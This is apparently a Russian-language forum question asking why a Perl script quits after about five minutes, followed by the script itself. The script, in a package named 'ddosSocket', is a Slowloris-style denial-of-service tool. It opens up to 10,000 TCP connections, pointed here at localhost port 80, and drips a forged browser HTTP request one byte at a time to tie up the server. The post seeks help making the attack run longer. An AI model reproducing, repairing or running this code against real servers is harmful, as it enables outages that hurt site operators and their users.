Примерно через 5 минут после работы, скрипт завершается. Что может быть?
| Код | #/usr/bin/perl -w
use strict; use Socket; use EV;
{ package ddosSocket; use Socket; $|=1; sub new { my $self=$_[1]; bless $self; return $self; }
sub reopen_socket{ my ($self)=@_; socket($self->{socket}, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect($self->{socket}, sockaddr_in($self->{port},inet_aton($self->{host})));
send ($self->{socket}, "GET / HTTP/1.1\r\n", 0);
my $data='SOSNOOLEY'; my $buf="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.01\r\n"; $buf.="Host: $self->{host} .ru\r\n"; $buf.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $buf.="Accept-Language: ru,ru-RU;q=0.9,en;q=0.8\r\n"; $buf.="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n"; $buf.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n"; $buf.="Referer: http://$self->{host}/\r\n"; $buf.="If-Modified-Since: Sun, 06 Mar 2011 14:24:17 GMT\r\n"; $buf.="Connection: Keep-Alive, TE\r\n"; $buf.="TE: deflate, gzip, chunked, identity, trailers\r\n"; $buf.="Content-Length: ".length($data)."\r\n"; $buf.="\r\n";
$self->{simb}=[split '',$buf];
}
sub send_byte{ my ($self)=@_;
if($_ = shift @{$self->{simb}}){ send ($self->{socket},$_, 0); # print $_; } else { $self->reopen_socket(); } } 'nya-nyak'; }
my $loop = EV::Loop->new;
our @events; my $storage={};
push @events, $loop->timer (0.1, 0.1, sub { my ($w)=@_; $storage->{cnt}++; my $s=ddosSocket->new({host=>'localhost', port => 80}); push @events, $loop->periodic (0, 1, 0, sub { my ($w)=@_; $s->send_byte; }); $w->stop if($storage->{cnt}>10000) });
$loop->loop;
|
|